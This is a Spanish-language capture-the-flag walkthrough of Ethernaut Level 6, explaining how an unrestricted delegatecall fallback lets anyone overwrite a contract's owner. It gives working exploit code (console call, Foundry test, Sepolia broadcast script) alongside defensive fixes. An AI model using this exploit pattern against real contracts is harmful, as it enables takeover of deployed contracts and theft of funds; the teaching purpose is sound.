Ethernaut Level 6 Walkthrough: Explotando delegatecall Inseguro en Solidity
En este artículo, analizamos y resolvemos Ethernaut Level 6: Delegation.
Este nivel parece casi demasiado simple: una función fallback reenvía toda llamada no reconocida a otro contrato usando delegatecall. Esa sola línea basta para que cualquiera reescriba la variable owner del contrato sin llamar nunca directamente a una función que la toque.
Además de resolver el reto, cubrimos:
- Qué hace realmente
delegatecallcon el storage, elmsg.sendery el contexto de ejecución - Por qué una función fallback que reenvía
msg.dataa ciegas es un arma cargada - Cómo validar el exploit con Foundry
- Cómo defendernos de una delegación insegura con selectores de función explícitos y disciplina en el layout de storage
Descripción del Reto
El contrato Delegation guarda una referencia a un contrato Delegate. Su función fallback reenvía cualquier llamada que no reconoce a Delegate usando delegatecall. Delegate expone una sola función, pwn(), que fija su propio owner como msg.sender.
El objetivo del reto es:
El objetivo de este nivel es que reclames la propiedad de la instancia que se te asigna.
Clasificación de la Vulnerabilidad
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | delegatecall inseguro en una función fallback |
| Causa Raíz: | El fallback reenvía msg.data arbitrario a un destino no confiable con delegatecall, ejecutando lógica ajena en el propio contexto de storage del que llama |
| Impacto: | Cualquier cuenta externa puede sobrescribir el slot owner del contrato |
| Severidad: | Crítica |
| Tipo de Ataque: | Colisión de storage vía delegatecall de bajo nivel |
Análisis del Contrato Vulnerable
Este es el contrato vulnerable usado en el reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Causa Raíz de la Vulnerabilidad
Toda la vulnerabilidad vive en la función fallback:
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
delegatecall no es una llamada externa cualquiera. Cuando el contrato A llama al contrato B con delegatecall, el código de B se ejecuta, pero como si fuera código propio de A: lee y escribe el storage de A, ve el msg.sender y el msg.value de A, y lo único que B aporta es su bytecode.
Delegation y Delegate declaran ambos address public owner como su primera variable de estado, así que los dos la asignan al slot de storage 0. Eso es lo que hace trivial el ataque: cuando Delegate.pwn() se ejecuta dentro del storage de Delegation vía delegatecall, la línea owner = msg.sender no toca el owner propio de Delegate. Sobrescribe el slot 0 de Delegation, que es Delegation.owner.
El fallback hace esto alcanzable desde afuera porque reenvía msg.data tal cual, sin verificar qué selector de función se está llamando. Cualquier llamada a una función no definida en Delegation, incluida una que codifique pwn(), se reenvía directo a la lógica de Delegate.
Esto viola un principio de seguridad central en el diseño de contratos inteligentes:
Nunca hagas
delegatecallhacia un destino usando calldata controlado por el atacante, salvo que el layout de storage de ambos contratos esté deliberadamente alineado y el conjunto de funciones invocables esté explícitamente restringido.
Entendiendo delegatecall Inseguro
- Quien llama (en este caso, nuestra cuenta de jugador) envía una transacción a
Delegationcon calldata igual al selector de 4 bytes depwn(). Delegationno tiene ninguna función que coincida con ese selector, así que Solidity enruta la ejecución afallback().fallback()ejecutaaddress(delegate).delegatecall(msg.data), reenviando exactamente el mismo calldata aDelegate.Delegateencuentra una función que coincide,pwn(), y la ejecuta.- Como esto es un
delegatecall, el contexto de ejecución sigue siendoDelegation: elmsg.senderdentro depwn()es nuestra cuenta de jugador, yowner = msg.senderescribe en el slot 0 deDelegation. Delegation.ownerahora es nuestra cuenta de jugador.Delegate.ownernunca fue tocado.
Jugador (EOA)
|
| llamada: selector de pwn()
v
Delegation.fallback()
|
| delegatecall (mismo storage, mismo msg.sender)
v
Delegate.pwn()
|
| owner = msg.sender -> escribe en el slot 0 de Delegation
v
Delegation.owner = Jugador
Esta es la misma clase de bug detrás del congelamiento de la multisig de Parity en 2017, donde un contrato de librería exponía una función de inicialización alcanzable vía delegatecall desde una wallet proxy, y más tarde detrás de su segundo incidente, donde cualquiera podía llamar kill() en la librería compartida por el mismo mecanismo y autodestruirla, dejando inutilizadas todas las wallets que delegaban en ella.
¿Por Qué delegatecall es Peligroso?
delegatecall es una primitiva legítima y ampliamente usada. Es lo que hace posibles los patrones proxy, los patrones diamond y las librerías compartidas, así que el objetivo no es evitarla, sino usarla con deliberación:
- El layout de storage debe coincidir exactamente. Si el contrato que llama y el contrato delegado no declaran sus variables de estado en el mismo orden y con los mismos tipos,
delegatecallcorromperá el storage en silencio, exactamente como ocurre aquí. - Nunca reenvíes
msg.datacrudo y sin restricciones. Un fallback que reenvía cualquier cosa que recibe convierte a toda función del contrato destino en una función invocable en el proxy, sea o no intencional. - El contrato delegado debe ser confiable e inmutable, o su actualización debe estar controlada. Si la dirección del destino puede cambiarla un atacante, o si el contrato destino en sí puede ser actualizado, quien llama hereda la lógica que termine ahí.
- Prefiere estándares de proxy bien auditados. Patrones como
TransparentUpgradeableProxyde OpenZeppelin o UUPS existen específicamente para gestionar el layout de storage y el enrutamiento de selectores de forma segura; armar un delegado basado en fallback a mano, como hace este nivel, es lo que introduce el bug.
Estrategia del Ataque
Lo que sabemos:
Delegation.fallback()reenvía cualquier llamada no reconocida aDelegatevíadelegatecall.Delegate.pwn()fijaowner = msg.senderen el contexto de storage en el que se ejecute.DelegationyDelegatecomparten el mismo slot de storage 0 paraowner, ya que ambos lo declaran como su primera variable de estado.delegatecallpreserva elmsg.sender, así que llamar a través del fallback deDelegationmantiene nuestra propia dirección como remitente dentro de la lógica deDelegate.
Nuestra estrategia:
- Codificar el selector de función para
pwn(). - Enviar ese calldata directamente a la instancia de
Delegationdesde nuestra propia cuenta. Ninguna función deDelegationcoincide con él, así que cae enfallback(). fallback()lo reenvía aDelegatevíadelegatecall, ejecutandopwn()dentro del storage deDelegation.Delegation.ownerahora es nuestra dirección. No se necesita ningún contrato atacante.
Solución
Este nivel no requiere desplegar un contrato atacante. Una sola llamada de bajo nivel desde nuestra propia cuenta externa (EOA) basta, porque lo único que importa es qué calldata llega a Delegation y quién es quien llama, y ambas cosas ya son exactamente lo que necesitamos desde una EOA.
Desde la consola del navegador, conectada a la instancia de Ethernaut:
await web3.eth.sendTransaction({
from: player,
to: contract.address,
data: web3.eth.abi.encodeFunctionSignature("pwn()")
});
await contract.owner();
La misma llamada desde un script o test de Foundry, codificando el selector con abi.encodeWithSignature:
(bool success, ) = address(instance).call(abi.encodeWithSignature("pwn()"));
require(success, "call not successful");
Cómo Funciona el Exploit
Primero, construimos el calldata para pwn(). Solidity calcula el selector de 4 bytes de una función como los primeros cuatro bytes de keccak256("pwn()"). abi.encodeWithSignature("pwn()") hace exactamente eso, sin argumentos que agregar porque pwn() no recibe ninguno.
Luego, enviamos ese calldata directamente a la instancia de Delegation, ya sea como un call crudo desde un test o script, o como una transacción manual desde la consola del navegador. Delegation no tiene ninguna función llamada pwn, así que el dispatcher de Solidity no puede hacer coincidir ningún selector y cae en fallback().
A continuación, fallback() ejecuta delegatecall contra la dirección delegate almacenada, reenviando nuestro calldata sin modificar. Delegate sí tiene una función pwn(), así que su dispatcher la hace coincidir y ejecuta el cuerpo de la función: owner = msg.sender.
Como toda la cadena de llamadas después de nuestra transacción es un solo delegatecall, la ejecución nunca sale del contexto de storage de Delegation. El msg.sender dentro de pwn() sigue siendo nuestra cuenta de jugador, y la variable de estado que realmente se escribe es el owner de Delegation en el slot 0, no el de Delegate.
Finalmente, leemos Delegation.owner() de vuelta y confirmamos que ahora es igual a nuestra propia dirección. La condición de victoria del nivel, parity.owner() == _player, queda satisfecha.
Validando el Exploit con Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {DelegationFactory} from "src/levels/DelegationFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestDelegation_L6 is Test, Utils {
Ethernaut ethernaut;
Delegation instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DelegationFactory factory = new DelegationFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Delegation(createLevelInstance(ethernaut, Level(address(factory)), 0));
vm.stopPrank();
}
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
// No se necesita contrato atacante. Una llamada directa a cualquier
// función no definida dispara el fallback de Delegation, que hace
// delegatecall hacia pwn() de Delegate. delegatecall preserva el
// storage y el msg.sender de Delegation, así que owner se sobreescribe
// en su propio slot.
(bool success,) = address(instance).call(abi.encodeWithSignature("pwn()"));
require(success, "call not successful");
assertEq(instance.owner(), player);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Ejecutando el Test
source .env
forge test --match-path test/Solutions/Delegation_L6.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv
Asegúrate de que .env defina SEPOLIA_RPC y, para el script en vivo de abajo, PK. Nunca subas .env a control de versiones.
Resolviendo el Nivel en Sepolia
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Delegation} from "src/levels/Delegation.sol";
import {console} from "forge-std/console.sol";
contract DelegationScript is Script {
Delegation public target;
function setUp() public {
target = Delegation(payable("0xYourEthernautInstance"));
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key desde .env para firmar la Tx
vm.startBroadcast(pk);
// Sin contrato atacante. Una llamada directa con el selector de
// pwn() cae en el fallback de Delegation, que hace delegatecall
// hacia Delegate y sobreescribe owner en el storage de Delegation.
(bool ok,) = address(target).call(abi.encodeWithSignature("pwn()"));
require(ok, "pwn call failed");
console.log("Nuevo owner:", target.owner());
vm.stopBroadcast();
}
}
Ejecutando el Script
source .env
forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC
Una vez que el dry run compile sin errores y hayas reemplazado 0xYourEthernautInstance con la dirección real de tu instancia, transmítelo:
forge script scripts/Delegation.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
Cómo Prevenir delegatecall Inseguro
El patrón vulnerable es un fallback que reenvía msg.data a ciegas:
// Vulnerable: cualquier calldata, cualquier selector, reenviado sin condición
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
La corrección es no dejar nunca que el calldata externo elija la función delegada por ti. Si la delegación es genuinamente necesaria, restríngela a selectores específicos en whitelist y mantén el layout de storage idéntico y documentado en ambos lados:
// Corregido: delegación explícita y en whitelist
function delegatedPwn() external {
require(msg.sig == Delegate.pwn.selector, "selector no permitido");
(bool result,) = address(delegate).delegatecall(msg.data);
require(result, "delegatecall fallo");
}
Para patrones de proxy en producción, no armes esto a mano. Usa TransparentUpgradeableProxy de OpenZeppelin o un proxy UUPS, que fuerzan un layout de storage consistente a través del estándar de slots ERC-1967 y separan la lógica de administración de la lógica delegada por construcción.
Lecciones Aprendidas
delegatecallejecuta código ajeno en tu propio contexto de storage. Trátalo con el mismo cuidado que darle a otro contrato acceso de escritura a tu estado.- Alinear el layout de storage entre un proxy y su implementación no es opcional. Un slot desalineado o compartido es un bug silencioso y crítico.
- Una función fallback es un punto de entrada implícito. Si reenvía calldata a algún lado, audítala con el mismo rigor que cualquier función pública explícita.
msg.senderymsg.valuese preservan a través dedelegatecall, y por eso es tan poderoso para proxies y tan peligroso cuando se usa mal.- Prefiere estándares de proxy establecidos en lugar de lógica de delegación hecha a mano, siempre que el objetivo sea la actualizabilidad o la lógica compartida.
Conclusión
Ethernaut Level 6 enseña una de las lecciones más filosas en seguridad de Solidity: un solo delegatecall con calldata sin restricciones puede entregar el control total de un contrato, sin reentrancy, sin overflow y sin necesidad de ningún contrato atacante. Este no es un riesgo teórico. Es la misma causa raíz detrás de pérdidas reales en producción, la más famosa siendo los incidentes de la multisig de Parity.
Cualquier protocolo que use proxies, patrones diamond o librerías compartidas necesita tratar la alineación del layout de storage y la restricción de selectores como requisitos de seguridad de primer orden, no como detalles de implementación. Este walkthrough cubrió:
- Cómo
delegatecallcomparte storage,msg.sendery contexto de ejecución con quien llama - Por qué una función fallback sin restricciones equivale a exponer todas las funciones del contrato delegado
- Cómo explotarlo con una sola llamada directa, sin contrato atacante
- Cómo validar el exploit con Foundry, localmente y sobre un fork de Sepolia
- Cómo defenderse con verificaciones explícitas de selector y estándares de proxy auditados
Si estás construyendo o revisando contratos que usan delegatecall, proxies o patrones actualizables, esta es exactamente la clase de vulnerabilidad que buscamos en una auditoría profesional.
Lee más walkthroughs de Ethernaut en el blog de SECLAT.
¿Necesitas una auditoría de seguridad para tus smart contracts? Habla con SECLAT.